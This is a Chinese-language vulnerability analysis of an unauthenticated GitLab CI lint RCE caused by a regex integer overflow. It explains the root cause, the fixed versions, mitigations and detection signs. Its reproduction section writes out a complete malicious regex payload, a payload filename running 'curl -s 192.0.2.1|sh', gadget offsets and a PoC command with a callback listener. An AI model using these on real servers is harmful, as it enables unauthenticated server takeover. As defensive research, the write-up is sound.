GitLab CI/CD 正则编译器整数溢出 RCE(CVE-2026-97229)漏洞分析
GitLab CI/CD 正则编译器整数溢出 RCE(CVE-2026-97229)漏洞分析
GitLab CI/CD 正则编译器整数溢出 RCE(CVE-2026-97229)漏洞分析
前言
GitLab 自托管版谁在用不用多说,内网代码托管的大户。这个洞打的是它的 CI 配置校验接口——一个连账号都不用登录的 GET 请求,就能在 GitLab 服务器上以 git 用户执行任意命令。CVSS 10.0,满基线。
触发场景说起来很简单:只要一个实例上有人能创建公开项目(自注册开放的实例上,这就是零门槛),攻击面就成立了。推一个带恶意正则的 .gitlab-ci.yml 进去,然后发一个不带任何 token 的 GET,服务器上的命令就执行了。
一句话概括影响:往公开项目推个文件,再匿名访问一个 URL,就能在 GitLab 服务器上跑任意命令。
影响版本:GitLab CE/EE 19.2 ~ 19.2.7、19.3 ~ 19.3.4、19.4 ~ 19.4.1。修复版本:19.2.8、19.3.5、19.4.2(2026-10-12 发布)。
漏洞描述
GitLab 是开源 DevOps 平台,提供 Community Edition 与 Enterprise Edition,用于代码仓库托管、合并请求协作与 CI/CD 流水线。受影响版本中,GitLab 校验 CI/CD 配置内的正则表达式时直接调用随发行版打包的 Ruby 3.3/3.4 的 Regexp 编译接口,对模式长度与重复计数均无限制。Onigmo 在 regcomp.c 的 compile_length_quantifier_node 中以有符号 32 位整数计算量词目标编译长度与重复次数的乘积,并以该乘积与固定上限比较决定是否展开重复;该比较自身无溢出保护,乘积越过整数上限后回绕为小值或负值,而负值同样满足上限判断,致使阻止展开超大重复的检查被其本应拦截的溢出绕过。编译器据回绕后的偏小值计算缓冲区尺寸却写入完整指令流,且以 int 存储的相对跳转偏移一并回绕,形成堆越界写。未经身份验证的远程攻击者将此类正则写入 CI/CD 配置,即可在 GitLab 服务进程内执行任意代码。

这个洞说到底是三个缺陷叠出来的:
- 校验和编译看的是两个世界。GitLab 用自己的正则去扫描
.gitlab-ci.yml里的重复语法,而真正干活的是 Ruby 的 Onigmo 引擎。Onigmo 支持(?#...)注释语法,一行正则写{5(?#)7805},GitLab 的扫描器看不见这个重复,Onigmo 编译时却把它当成{57805}。 - 校验只在第一次编译时做。配置文件是纯 ASCII,第一次编译走紧凑表示,体积小得离谱,三道检查全过。等匹配到带多字节字符的路径时,Onigmo 按新编码重编译——这时候已经没人管它了。
- 重编译的体积计算用 int。37,151 × 57,805 = 2,147,513,555,刚好越过 INT_MAX。偏移回绕之后,正则的字符类 bitmap 里的字节被当成了 VM 指令来执行。
关键技术点概览:匿名 API 入口 → 重复扫描器失明 → 编码差异触发重编译 → int 溢出回绕 → bitmap 字节变伪指令 → VM 栈定向到文件路径 → 相对算术拿到 system() 地址(ASLR 拦不住)→ 命令执行。
环境搭建
Rapid7 的 PoC 锁定了官方镜像的 digest,直接照抄,保证 Ruby 二进制布局和 PoC 里硬编码的偏移完全一致:
docker pull gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c然后用 gitlab-rails runner 给 root 建了个 API token,建一个公开项目 root/public-poc:
u = User.find_by_username('root')
t = u.personal_access_tokens.create!(name: 'poc', scopes: ['api'], expires_at: 30.days.from_now)
t.set_token('glpat-...')
t.save!
漏洞复现
把恶意配置推进公开项目
PoC 会生成两样东西:一个带恶意正则的 .gitlab-ci.yml,和一个文件名本身就是 payload 的空文件。用带 token 的 git URL 推到匿名可读的分支上。
生成出来的 .gitlab-ci.yml 长这样(关键部分):
include:
- local: '/benign.yml'
rules:
- exists:
regexp: "\\A(?>aaaaaaa8000(|)(|)(|)(|)(|)(|)(|)\\K\\K\\K\\K\\K\\K\\K\\K(?:(?<=[[:word:]][[:word:]][[:word:]][[:word:]][[:word:]][[:word:]][\u0002\u0003\u0006\u000b\f\u0011\u0014\u0016\u0018\u001a8;-=APR-UY\\\\][\u0000\u0003-\u0005\b\u000b\r-\u0011\u0018\u001a\u001b\u001e #-%+\\--189;<FIVXZ-\\]`d][\u0000\u0003-\u0005\t\u0012\u0019\u001a\u001c\u001d!#03-5;=-AJ-M][\u0001\u0004\u0006\t\u000b\u000e\u000f\u0011\u0013\u0015\u0018\u0019\u001c(+,02:-])){5(?#)7805}|)\\b\\B"
base:
script: ':'


aaaaaaa8000𐐀𐐀𐐀𐐀𐐀𐐀𐐀𐐀𐐀𐐀𐐀𐐀𐐀𐐀AAA@curl -s 192.0.2.1|sh #Xi]\x01\x01𐐀 是合法 UTF-8 多字节字符,用来逼 Ruby 重编译正则;@ 后面是 28 字节的命令;末尾那几个字节是一条 CALL 指令加偏移。文件名就是一整套假栈帧。
匿名 GET 触发
访问
http://localhost:8080/api/v4/projects/1/ci/lint?content_ref=b73e294f

不带 token,不带 cookie,什么都不带。

502 是预期行为——Puma worker 在 system() 返回之后崩了,Puma 自动补一个新的。看 HTTP 状态码是看不出打没打穿的,得看回连。
回连拿结果
PoC 在我机器上开了个 80 端口的监听器,文件名里那条 28 字节命令干的事就是 curl -s <监听器>|sh,把完整 payload 拉过去执行,再把输出 POST 回来:
Linux 1db1f6b06804 7.0.11-orbstack-... x86_64 x86_64 x86_64 GNU/Linux
uid=998(git) gid=998(git) groups=998(git)
PRETTY_NAME="Ubuntu 24.04.5 LTS"uid=998(git)

一键利用 PoC
完整 PoC 在 Rapid7 的仓库:github.com/jburgess-r7/CVE-2026-97229-PoC。我们实际执行的调用:
python3 poc.py http://localhost:8080 1 \
--git-url 'http://oauth2:<TOKEN>@localhost:8080/root/public-poc.git' \
--callback-url <本机IP> --listen-port 80 \
--cmd 'id; uname -a' --timeout 600唯一的环境门槛是回调地址:首段命令只有 28 字节预算,curl -s 加 |sh 占掉 11 个,回调地址最多 17 字节,一个短 IP 裸写正好塞得下(上文用 RFC 5737 文档地址 192.0.2.1 占位,实际测试时换成自己的监听地址)。
漏洞分析
匿名入口:一个不需要登录的 GET
文件位置: lib/api/lint.rb
route_setting :authorization, permissions: :read_ci_config, boundary_type: :project
get ':id/ci/lint', urgency: :low do
authorize_read_code!
not_found! 'Repository' if user_project.empty_repo?
unauthorized!("This endpoint requires an API authentication") if current_user && !::Current.token_info
content_ref = params[:content_ref] || params[:sha] || user_project.repository.root_ref_sha
dry_run_ref = params[:dry_run_ref] || params[:ref] || user_project.default_branch
commit = user_project.commit(content_ref)
not_found! 'Commit' unless commit.present?
content = user_project.repository.blob_data_at(commit.sha, user_project.ci_config_path_or_default)
result = Gitlab::Ci::Lint
.new(project: user_project, current_user: current_user, sha: commit.sha)
.legacy_validate(content, dry_run: params[:dry_run], ref: dry_run_ref)
present result, with: Entities::Ci::Lint::Result, current_user: current_user, include_jobs: params[:include_jobs]
end这个函数收一个 GET,content_ref 指向哪个分支,就从哪个分支读 .gitlab-ci.yml。最关键的是第三行校验:unauthorized! 只在 current_user 存在且没带 token 信息时才触发——匿名请求反而是放行的,权限检查只依赖 authorize_read_code!,公开项目匿名就能过。
所以整个投递链是:带 token 推恶意分支(这是唯一用到凭据的地方,注册个普通账号就有),匿名 GET 触发。官方 CVSS 里写的 PR:N 指的就是触发这一步。
传播:正则被送进匹配器
文件位置: lib/gitlab/ci/build/rules/rule/clause/exists.rb
def regexp_match?(context)
matcher = regexp_matcher(context)
matcher.validate_pattern_length!
Gitlab::SafeRequestStore.fetch(regexp_comparison_key(context, matcher.expanded_pattern)) do
matcher.match?(worktree_paths(context, false))
end
end
def regexp_matcher(context)
Rules::Rule::Clause::RegexpMatcher.new(
raw_pattern: @regexp,
expanded_pattern: expand_value_nested(@regexp, context),
max_comparisons: MAX_PATTERN_COMPARISONS,
log_scope: 'rules:exists',
project_id: context.project&.id
)
endinclude.rules.exists.regexp 里的正则走到这里,先做长度校验,然后拿仓库里所有文件路径去匹配。注意 worktree_paths(context, false) ——第二个参数传 false 是取全深度路径,源码里的理由是正则可能在任意深度命中,glob 的顶层优化对它不适用。那个文件名就是 payload 的空文件,就是在这里被送进正则匹配的。
三道防线:拦了,但拦错了地方
文件位置: lib/gitlab/ci/build/rules/rule/clause.rb
REGEXP_MAX_LENGTH = 255
ESCAPE_OR_ALTERNATION = /\\.|\|/
REGEXP_MAX_COMPILED_BYTES = 1.megabyte
SUBROUTINE_CALL = /(?<!\\)(?:\\\\)*\\g/
REPEAT_MAX = 1_000
REPEAT_BOUND = /(?<!\\)(?:\\\\)*\{\s*(\d+)\s*(?:,\s*(\d+)?\s*)?\}/
def self.compile_regexp(pattern, timeout: nil)
raise RegexpError, 'uses a subroutine call (\g), which is not allowed' if SUBROUTINE_CALL.match?(pattern)
reject_large_repeats!(pattern)
alternation_free = pattern.gsub(ESCAPE_OR_ALTERNATION) { |token| token == '|' ? '\\|' : token }
probe =
begin
Regexp.new(alternation_free)
rescue RegexpError => e
raise RegexpError, e.message.sub(alternation_free) { pattern }
end
check_compiled_size!(probe)
check_compiled_size!(Regexp.new(pattern, timeout: timeout))
end
def self.reject_large_repeats!(pattern)
pattern.scan(REPEAT_BOUND) do |lower, upper|
[lower, upper].compact.each do |bound|
next if bound.to_i <= REPEAT_MAX
raise RegexpError, "repeats #{bound} times, over the #{REPEAT_MAX} limit: /#{pattern}/"
end
end
end
def self.check_compiled_size!(regexp)
compiled_bytes = ObjectSpace.memsize_of(regexp)
return regexp if compiled_bytes <= REGEXP_MAX_COMPILED_BYTES
raise RegexpError,
"compiles to #{compiled_bytes} bytes, over the #{REGEXP_MAX_COMPILED_BYTES} byte limit"
end三道防线:长度上限 255 字符、重复次数上限 1000、编译产物上限 1 MB。看起来挺严。
有意思的是源码里的注释。REPEAT_MAX 上面写着 "Above roughly 7800, Onigmo can unroll a repeat into a program past INT_MAX"——写这行注释的人明确知道 Onigmo 会把重复展开到越过 INT_MAX。SUBROUTINE_CALL 上面写着 "Onigmo allows a comment between \g and its argument, so matching \g< is not enough"——他们之前就被注释语法骗过一次,\g 子程序调用那里堵上了。
结果呢,(?#) 注释能打断 {N} 花括号组这个面,没堵。
扫描器失明:{5(?#)7805} 到底发生了什么
一开始我以为扫描器是读到了 {5、判定 5 ≤ 1000 所以放行。读了 reject_large_repeats! 的实现才发现根本不是——比那个更彻底。
REPEAT_BOUND 这个扫描正则要求完整的 {N} 或 {N,M} 形态:左花括号、数字、可选的逗号区间、右花括号,一个不能少。而 {5(?#)7805} 里 {5 后面跟的是 (?#,不是逗号也不是右花括号——整个模式在全文里一处都匹配不上。pattern.scan(REPEAT_BOUND) 返回空数组,循环体一次都不进,静默放行。
但 Onigmo 那边,(?#...) 是正则注释,解析时直接剔掉。剔除之后这串字符就是 {57805} ——一个干干净净的、57805 次的重复。
于是校验视图里"没有任何重复语法",编译器视图里"有个 57805 次的重复"。同一个字符串,两套语法眼睛,看到了两个世界。
57805 这个数也不是随手选的:REPEAT_COUNT = (INT_MAX + 37151 - 1) // 37151,也就是让总编译体积跨过 2^31−1 的最小重复数。Rapid7 的 PoC 里这个数是算出来的,一行 Python。
编码重编译:1031 字节是怎么变成 2 GiB 的
文件位置: lib/gitlab/ci/build/rules/rule/clause/regexp_matcher.rb
def match?(paths)
if paths.size > @max_comparisons
log(:info, 'regexp comparisons limit exceeded', paths_size: paths.size, regexp: sanitized_pattern)
return true
end
pattern = compile_pattern
deadline = current_monotonic_time + REGEXP_TOTAL_TIMEOUT_SECONDS
paths.any? do |path|
if current_monotonic_time > deadline
log(:warn, 'regexp total time budget exceeded', regexp: sanitized_pattern)
raise ParseError, "#{@log_scope}:regexp exceeded the time budget (#{REGEXP_TOTAL_TIMEOUT_SECONDS}s) while evaluating paths"
end
pattern.match?(path)
rescue Regexp::TimeoutError
log(:warn, 'regexp match timed out', regexp: sanitized_pattern)
raise ParseError, "#{@log_scope}:regexp timed out (over #{REGEXP_TIMEOUT_SECONDS}s on a single path)"
end
end
def compile_pattern
Clause.compile_regexp(@expanded_pattern, timeout: REGEXP_TIMEOUT_SECONDS)
rescue RegexpError => e
log(:warn, 'regexp rejected at compile time', regexp: sanitized_pattern)
raise ParseError, "#{@log_scope}:regexp is invalid: #{e.message}"
end这段代码本身防得很全:比较次数上限、总时间预算、单次超时,全是防 ReDoS 的。但它所有防线都挂在 compile_pattern 那一次编译上—— .gitlab-ci.yml 是纯 ASCII,第一次编译走紧凑表示。
紧凑到什么程度?我在容器里用裸 Ruby 量了一下:
pattern = File.read('/tmp/minipat.txt')
subject = File.binread('/tmp/minisub.bin').force_encoding('UTF-8')
r = Regexp.new(pattern)
puts ObjectSpace.memsize_of(r)
r.match?(subject)US-ASCII首次编译体积: 1031 字节
/tmp/mini_repro.rb:9: [BUG] Segmentation fault at 0x000000020000100a
ruby 3.3.12 (2026-07-16 revision 0581089df9) [x86_64-linux]1031 字节。三道检查里最松的编译体积检查上限是 1 MB,它连零头都用不到。
然后 pattern.match?(path) 那一行——匹配对象是带 𐐀 的 UTF-8 路径。US-ASCII 的正则匹配 UTF-8 的串,Onigmo 内部走重编译,按新编码重新生成程序。重编译路径对有界重复做展开:37,151 × 57,805 = 2,147,513,555 字节,2 GiB 的 pcode。上面那个五行脚本的第二行直接把进程送走了,退出码 139——这是不带任何 GitLab 代码的最小化复现,bug 纯在 Ruby 3.3.12 的 Onigmo 层。
1031 字节到 2 GiB,膨胀两百万倍。离谱。
从 int 溢出到命令执行:bitmap 字节变指令
程序尺寸越过 INT_MAX 之后,编译器里用 int 存的偏移开始回绕,一条分支偏移直接落进了字符类 bitmap 的字节区。bitmap 的内容是什么?就是正则里字符类的成员集合——写正则的人完全可控。
于是那些字节被当成 Onigmo VM 的指令执行了。PoC 里那段常量就是在给四个字符类"编程":
LIBRUBY_FINISH_CODE = 0x4885A9
LIBRUBY_SYSTEM_GADGET = 0x31E809
SYSTEM_STEP_COUNT = 1_256_138
TARGET_BYTECODE_SIZE = 37_151
REPEAT_COUNT = (0x7FFFFFFF + TARGET_BYTECODE_SIZE - 1) // TARGET_BYTECODE_SIZE
CALL_OFFSET = TARGET_BYTECODE_SIZE * 454 + 111
COMMAND_SIZE = 28
STAGES = [
[0x4C, 0x18, 0x52, 5, 0, 0, 0, 0x39, 2, 0, 0, 0x3D, 18, 0, 0, 0, 0],
[0x39, 0xE9, 3, 0x4D, 0x39, 0xE8, 3, 0x1B, 0x40, 2, 0x40, 0x3D, 17, 0, 0, 0],
[0x39, 2, 4, 0x36, 10, 0, 0x39, 0xE8, 3, 0x3C],
[0x52, *SYSTEM_STEP_COUNT.to_bytes(4, "little"), 0x39, 5, 4],
]四个 stage,四个字符类:第一个把 VM 栈重定向;第二个在路径里扫到 @ 定位假栈帧;第三个让匹配失败、把执行流摔进路径里预置的帧;第四个用 LOOK_BEHIND 指令的操作数做步进算术,从解释器已有的指针相对推导出 libruby 里 system() gadget 的地址——全程不碰绝对地址,所以 ASLR 拦不住。收尾的是文件名末尾那条 CALL (0x58) 指令,跳过去,参数就是 @ 后面那 28 字节。
命令执行。
尾部的 \b\B 是永假断言,保证整个正则"匹配失败",CI lint 返回一个正常的 false。服务器看起来什么都没发生过,除了那个 502 和日志里一行段错误。
Puma 崩溃日志把 Sink 点钉死了:
lib/gitlab/ci/build/rules/rule/clause/regexp_matcher.rb:58: [BUG] Segmentation fault at 0x0000144600002009
ruby 3.3.12 (2026-07-16 revision 0581089df9) [x86_64-linux]
Crashed while printing bug report那一行就是 pattern.match?(path)。
漏洞修复
官方修复版本:19.2.8、19.3.5、19.4.2,2026-10-12 同日放出。这个洞是 joaxcar 通过 HackerOne 报给 GitLab 的;GitLab.com 已在跑修补版,Dedicated 客户无需行动,截至目前也没有确认的在野利用。漏洞 issue 按惯例发布 90 天后才公开,Rails 侧改没改、怎么改的,现在看不到。但补丁公告的 bug fixes 列表把修复位置钉死了,三个分支各有这两条:
Add Ruby regexp program size patch for 3.3 and 3.4
Add Ruby regexp repeat-range double-free patch for 3.3 and 3.4补丁打在 GitLab 自打包的 Ruby 3.3/3.4 上:一处修 regexp 的 program size 计算,一处修 repeat-range 的 double-free。官方认账的位置,和裸 Ruby 最小复现指向的位置是同一个——Onigmo 编译器本身,不是 Rails 层那三道防线。至于 REPEAT_BOUND 扫描器失明的毛病修没修,公告里看不出来。SUBROUTINE_CALL 那次教训说明他们清楚“校验视图和编译器视图分叉”这类坑,但这次公开信息里没提 Rails 侧动作,不好下结论。
修补版行为有实测背书:同样的正则和路径,在官方 19.4.2 上返回 false、无回连——Rapid7 的说法是 did not execute,PoC README 的说法是 returned false without a callback。
临时缓解(升级前的收缩面):关掉匿名读公开项目、限制不受信用户写公开项目。这两招只封掉已演示的投递路径,编译器本身还在。升级别等常规补丁周期,Rapid7 的建议是按紧急漏洞处理。
资产测绘侧的检测特征:公开项目 .gitlab-ci.yml 的 rules.exists.regexp 里出现 {\d+(?#)\d+} 形态;仓库里有超长多字节文件名且带 @ 加 shell 片段;Puma 日志出现 regexp_matcher.rb 段错误;GitLab 服务器对外发起 curl -s <短域名>|sh 形态的回连。
参考资料
- Rapid7 对 CVE-2026-97229 的分析
- Rapid7 PoC 仓库(jburgess-r7/CVE-2026-97229-PoC)
- GitLab 官方补丁公告(19.4.2 / 19.3.5 / 19.2.8)
免责声明
本报告仅用于安全研究和教育目的。
- 本报告中的漏洞分析和 PoC 代码仅供授权安全测试使用
- 未经授权对他人系统进行测试属于违法行为
- 作者不对任何滥用本报告内容造成的后果负责